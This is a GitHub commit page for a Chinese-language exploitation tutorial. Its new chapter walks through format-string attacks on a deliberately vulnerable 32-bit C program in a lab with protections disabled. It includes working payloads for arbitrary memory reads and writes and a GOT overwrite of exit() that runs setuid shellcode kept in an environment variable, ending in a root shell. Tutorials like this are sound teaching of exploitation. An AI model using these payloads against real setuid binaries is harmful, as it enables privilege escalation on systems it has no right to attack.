Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 88bb2cb

Browse files
author
Sn0rt
committed
new: update new post
1 parent 2764f91 commit 88bb2cb

17 files changed

+3358
-70
lines changed

‎chapter1/README.md

Lines changed: 2 additions & 70 deletions
Original file line numberDiff line numberDiff line change
@@ -1,73 +1,5 @@
1-
在这个 level 我将要花点时间给大家介绍基本的漏洞类型和安全机制,然后关闭全部的安全保护机制,学习如何在 Linux 下面编写最基本的 exp.
1+
# 基础知识
22

3-
# 安全机制
3+
[MSc Computer Science Dissertation Automatic Generation of Control Flow Hijacking Exploits for Software Vulnerabilities](./Automatic\ Generation\ of\ Control\ Flow\ Hijacking\ Exploits\ for\ Software\ Vulnerabilities.pdf)
44

5-
分为两大类:编译相关(elf 加固),部分编译选项控制着生成更安全的代码(损失部分性能或者空间),还有就说运行时的安全,都是为增加了漏洞利用的难度,不能从本质上去除软件的漏洞.
65

7-
## STACK CANARY
8-
9-
Canary 是放置在缓冲区和控制数据之间的一个 words 被用来检测缓冲区溢出,如果发生缓冲区溢出那么第一个被修改的数据通常是 canary,当其验证失败通常说明发生了栈溢出,更多信息参考这里 [^1].
10-
11-
```shell
12-
gcc -fstack-protector
13-
```
14-
15-
## NX
16-
17-
在早期,指令是数据,数据也是数据,当 PC 指向哪里,那里的数据就会被当成指令被 cpu 执行,后来 NX 标志位被引入来区分指令和数据.更 多信息参考这里[@Intel] [^2] [^3].
18-
19-
```shell
20-
gcc -z execstack
21-
```
22-
23-
## PIE
24-
25-
-fPIC: 类似于-fpic 不过克服了部分平台对偏移表尺寸的限制.生成可用于共享库的位置独立代码。所有的内部寻址均通过全局偏移表(GOT)完成.要确定一个地址,需要将代码自身的内存位置作为表中一项插入.该选项需要操作系统支持,因此并不是在所有系统上均有效.该选项产生可以在共享库中存放并从中加载的目标模块.
26-
参考链接 [^4].
27-
28-
-fPIE:
29-
这选项类似于-fpic 与-fPIC,但生成的位置无关代码只可以链接为可执行文件,它通常的链接选项是-pie.
30-
31-
```shell
32-
gcc -pie -fPIE
33-
```
34-
35-
### RELRO
36-
37-
Hardens ELF programs against loader memory area overwrites by having the loader mark any areas of the relocation table as read-only for any symbols resolved at load-time ("read-only relocations"). This reduces the area of possible GOT-overwrite-style memory corruption attacks [^5].
38-
39-
#### ASLR
40-
41-
[^6]
42-
43-
# 漏洞类型
44-
45-
## 栈溢出
46-
47-
## 整数溢出
48-
49-
## off-by-one(stack base)
50-
51-
## 格式化字符串
52-
53-
%h(短写) %n\$d(直接参数访问) %n(任意内存写) %s(任意内存读)
54-
55-
# Exp 开发
56-
57-
## rop
58-
59-
nop seld + shellcode + ret
60-
61-
## 覆写 GOT
62-
63-
[^1]: <https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries>
64-
65-
[^2]: &lt;&lt;Intel® 64 and IA-32 Architectures Software Developer’s Manual&gt;&gt; volumes 3 section 4.6
66-
67-
[^3]: <https://en.wikipedia.org/wiki/NX_bit>
68-
69-
[^4]: <https://en.wikipedia.org/wiki/Position-independent_code#PIE>
70-
71-
[^5]: <http://blog.isis.poly.edu/exploitation%20mitigation%20techniques/exploitation%20techniques/2011/06/02/relro-relocation-read-only/>
72-
73-
[^6]: <https://en.wikipedia.org/wiki/Address_space_layout_randomization>

‎chapter2/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# 栈的安全

‎chapter2/format-strings.md

Lines changed: 262 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,262 @@
1+
# 0x00 beginning
2+
3+
记录学习格式化字符串安全问题, 依然不启用安全机制 (NX, ALSR, CANARY), 主要实验部分参考 [^book1], 更多理论 [^stanford].
4+
5+
示例内存布局` printf("A is %d and is at %08x. B is %x.\n", A, &A, B) `:
6+
7+
top of stack bottom of stack
8+
|--address of format string--|--value of A--|--address of A--|--value of B--|
9+
10+
11+
存在格式化字符串问题的示例代码如下:
12+
13+
```c
14+
/*
15+
* gcc -fno-stack-protector -m32 -z execstack -o
16+
*/
17+
#include <stdio.h>
18+
#include <stdlib.h>
19+
#include <string.h>
20+
21+
int main(int argc, char *argv[]) {
22+
char text[1024];
23+
static int test_val = -72;
24+
25+
if(argc < 2) {
26+
printf("Usage: %s <text to print>\n", argv[0]);
27+
exit(0);
28+
}
29+
strcpy(text, argv[1]);
30+
31+
printf("The right way to print user-controlled input:\n");
32+
printf("%s", text);
33+
34+
printf("\nThe wrong way to print user-controlled input:\n");
35+
printf(text);
36+
37+
printf("\n");
38+
39+
// Debug output
40+
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
41+
42+
exit(0);
43+
}
44+
45+
```
46+
47+
看见里面几个 % 格式化参数, 我们主要关注的格式化参数如下 (其余的不是特别关注):
48+
49+
%h 把 int 转换为 signed char 或 unsiged char, 如果后面接 n 转换一个指针到 char.
50+
%s 从内存中读取字符串
51+
%x 输出十六进制数
52+
%n 写入这个地方的偏移量
53+
54+
# 0x10 starting
55+
56+
初步探索, 发现在 testing 后面接上一格式化字符串发现输出很奇怪的东西, 其实这个就是内存读取了, 结合着内存空间分别你可以知道读哪里.
57+
58+
```shell
59+
Sn0rt@warzone:~/lab$ ./fmt testing
60+
The right way to print user-controlled input:
61+
testing
62+
The wrong way to print user-controlled input:
63+
testing
64+
[*] test_val @ 0x0804a030 = -72 0xffffffb8
65+
Sn0rt@warzone:~/lab$ ./fmt testing%x
66+
The right way to print user-controlled input:
67+
testing%x
68+
The wrong way to print user-controlled input:
69+
testingbffff270
70+
[*] test_val @ 0x0804a030 = -72 0xffffffb8
71+
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print "0%x8." * 10')
72+
The right way to print user-controlled input:
73+
0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.
74+
The wrong way to print user-controlled input:
75+
0bffff2508.04c8.048.0387825308.07825302e8.025302e388.0302e38788.02e3878258.0387825308.07825302e8.
76+
[*] test_val @ 0x0804a030 = -72 0xffffffb8
77+
```
78+
79+
## 0x11 arbitrary memory Read
80+
81+
这个示例, 需要辅助程序来帮助读环境变量的内存地址, 辅助程序源码如下:
82+
83+
```c
84+
#include <stdio.h>
85+
#include <stdlib.h>
86+
#include <string.h>
87+
88+
int main(int argc, char *argv[]) {
89+
char *ptr;
90+
91+
if(argc < 3) {
92+
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
93+
exit(0);
94+
}
95+
ptr = getenv(argv[1]); /* get env var location */
96+
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
97+
printf("%s will be at %p\n", argv[1], ptr);
98+
}
99+
```
100+
101+
利用`%s`可以从内存读取字符串, 以读取 PATH 为例子, 首先获取 PATH 的内存地址.
102+
103+
```shell
104+
Sn0rt@warzone:~/lab$ ./getaddr PATH fmt
105+
PATH will be at 0xbffffe26
106+
```
107+
108+
然后构造格式化字符串 (注意 intel 小端序), 到 %s 落到`\x26\xfe\xff\xbf`上直到遇见 NULL 之前的数据按照字符串打印出来.
109+
110+
```shell
111+
Sn0rt@warzone:~/lab$ ./fmt $(printf "\x26\xfe\xff\xbf")%08x.%08x.%08x.%s
112+
The right way to print user-controlled input:
113+
&���%08x.%08x.%08x.%s
114+
The wrong way to print user-controlled input:
115+
&���bffff270.0000004c.00000004./local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
116+
[*] test_val @ 0x0804a030 = -72 0xffffffb8
117+
118+
```
119+
120+
读 $PATH 成功!
121+
122+
## 0x12 arbitrary memory write-%x
123+
124+
可以利用`%n`写其对应数据的位置到内存, 不过这个写方法还是蛮麻烦的, 参考<<灰帽黑客: 正义...>>[^book2]11.1.3 写入任意内存提供了一个魔幻公式.
125+
我们以写入 0xddccbbaa 到 test_val 为例
126+
127+
```shell
128+
Sn0rt@warzone:~/lab$ ./fmt $(printf "\x30\xa0\x04\x08")%x%x%156x%n
129+
The right way to print user-controlled input:
130+
0�%x%x%156x%n
131+
The wrong way to print user-controlled input:
132+
0�bffff2704c 4
133+
[*] test_val @ 0x0804a030 = 170 0x000000aa
134+
135+
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08TEST\x31\xa0\x04\x08TEST\x32\xa0\x04\x08TEST\x33\xa0\x04\x08" + "%x%x%132x%n%17x%n%17x%n%17x%n")')
136+
The right way to print user-controlled input:
137+
0�TEST1�TEST2�TEST3�%x%x%132x%n%17x%n%17x%n%17x%n
138+
The wrong way to print user-controlled input:
139+
0�TEST1�TEST2�TEST3�bffff2404c 4 54534554 54534554 54534554
140+
[*] test_val @ 0x0804a030 = -ひく573785174 0xddccbbaa
141+
142+
```
143+
144+
## 0x13 arbitrary memory write-direct parameter access
145+
146+
`%Number$n`直接参数访问构造出来的 payload 相对与上面用一堆 %n 构造出来简洁一些, 依然写入`0xddccbbaa`.
147+
148+
```shell
149+
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n")')
150+
The right way to print user-controlled input:
151+
0�1�2�3�%154x%4$n
152+
The wrong way to print user-controlled input:
153+
0�1�2�3� bffff260
154+
[*] test_val @ 0x0804a030 = 170 0x000000AA
155+
156+
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n" + "%17x%5$n" + "%17x%6$n" + "%17x%7$n")')
157+
The right way to print user-controlled input:
158+
0�1�2�3�%154x%4$n%17x%5$n%17x%6$n%17x%7$n
159+
The wrong way to print user-controlled input:
160+
0�1�2�3� bffff250 4c 4 804a030
161+
[*] test_val @ 0x0804a030 = -ひく573785174 0xddccbbaa
162+
```
163+
164+
## 0x14 arbitrary memory write-%h
165+
166+
利用`%h`可以把 payload 构造更加简洁, 而且一次写入两个字节, 这个具体计算方法就是那个魔法公式.
167+
引用 printf 手册:
168+
169+
> h A following integer conversion corresponds to a short int or unsigned short int argument, or a following n conversion corresponds
170+
to a pointer to a short int argument.
171+
172+
如法炮制, 写入`0xddccbbaa`到 test_val.
173+
174+
```shell
175+
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x32\xa0\x04\x08" + "%43699x%4$hn" + "%13073x%5$h")')
176+
....
177+
[*] test_val @ 0x0804a030 = -ひく857888069 0xddccaabb
178+
```
179+
180+
# 0x20 using
181+
182+
既然我们能写内存, 那么就能写入到一些关键的地方, 来控制程序的流向.
183+
184+
## 0x21 .dtors
185+
186+
思路 1,.dtors 类似于 C++ 里面构造函数, 函数声明成这个样子`static void func(void) __attribute__ ((destructor))`就类似与 C++ 里面析构函数, 我们打算把 shellcode 放到环境变量里面, 然后利用格式化字符串覆写_DTOR_END_, 按照设计程序会在退出时候调用`exit()`且在 exit() 返回前, 会去调用_DTOR_END_地址的函数, 用 shellcode 在内存里面的地址覆盖掉_DTOR_END_就能 exit() 返回前执行 shellcode.
187+
不过这个新版本的 gcc 生成链接代码的时候生成的 ELF 里面已经没有_DTOR_LIST_与_DTOR_LIST_字段了, 不过现在有了新的目标
188+
189+
```shell
190+
objdump -h -j .fini_array fmt
191+
```
192+
193+
## 0x22 overwrite GOT
194+
195+
思路 2: 类似覆盖.dtors, 利用格式化字符串漏洞把 exit()@plt 覆写为 shellode 的环境变量里面的地址, 程序在原来调用 exit() 地方就会转跳到 shellcode 上执行.
196+
197+
做法, 首先需要把 shellcode 放置到环境变量里面, 后获取其地址,shellcode[下载](../media/attach/shellcode.bin). 这个 shellcode 是 setuid(0) 然后 execve(), 所有要对有 suid 位的程序使用, 如果非 suid 则 setuid(0) 调用失败.
198+
199+
```shell
200+
Sn0rt@warzone:~/lab$ sudo chown root:root fmt
201+
Sn0rt@warzone:~/lab$ sudo chmod u+s fmt
202+
Sn0rt@warzone:~/lab$ export SHELLCODE=$(cat shellcode.bin)
203+
Sn0rt@warzone:~/lab$ ./getaddr SHELLCODE ./fmt
204+
SHELLCODE will be at 0xbffff84a
205+
```
206+
207+
打算把 exit() 地址覆写为 shellcode 地址, 这个地方利用魔法公式计算一下
208+
209+
```shell
210+
Sn0rt@warzone:~/lab$ objdump -R fmt
211+
212+
fmt: file format elf32-i386
213+
214+
DYNAMIC RELOCATION RECORDS
215+
OFFSET TYPE VALUE
216+
...
217+
0804a01c R_386_JUMP_SLOT exit
218+
0804a020 R_386_JUMP_SLOT __libc_start_main
219+
0804a024 R_386_JUMP_SLOT putchar
220+
221+
Sn0rt@warzone:~/lab$ python
222+
...
223+
>>> 0xbfff - 8
224+
49143
225+
>>> 0xf84a - 0xbfff
226+
14411
227+
228+
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x1e\xa0\x04\x08" + "\x1c\xa0\x04\x08" + "%49143x%4$hn" + "%14411x%5$hn")')
229+
...
230+
[*] test_val @ 0x0804a030 = -72 0xffffffb8
231+
sh-4.3# exit
232+
```
233+
234+
# 0x03 limit
235+
236+
虽然这样覆盖`exit()`成功了, 但是如果开启了 NX 这样的方法就不行了, 一个原因就是 $SHELLCODE 放在环境变量里面, 环境变量 stack 上 (具体还是有点区分的),NX 是不允许里面 [stack] 有 x 的.
237+
238+
```shell
239+
Sn0rt@warzone:~/lab$ gdb fmt
240+
Reading symbols from fmt...(no debugging symbols found)...done.
241+
gdb-peda$ b main
242+
Breakpoint 1 at 0x80484e0
243+
...
244+
gdb-peda$ r
245+
...
246+
gdb-peda$ searchmem "SHELLCODE"
247+
Searching for 'SHELLCODE' in: None ranges
248+
Found 1 results, display max 1 items:
249+
[stack] : 0xbffff88d ("SHELLCODE=1300円061円333円061円ə260円244円̀j\vXQh//shh/bin211円343円Q211円342円S211円341円̀")
250+
...
251+
gdb-peda$ vmmap
252+
Start End Perm Name
253+
0x08048000 0x08049000 r-xp /home/Sn0rt/lab/fmt
254+
...
255+
0xbffdf000 0xc0000000 rwxp [stack]
256+
```
257+
258+
### reference
259+
260+
[^book1]: <<Hacking: the art of exploitation>>
261+
[^book2]: <<灰帽黑客: 正义黑客的道德规范, 渗透测试, 攻击方法和漏洞分析技术>>
262+
[^stanford]: [Exploiting Format String Vulnerabilities](https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf)

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /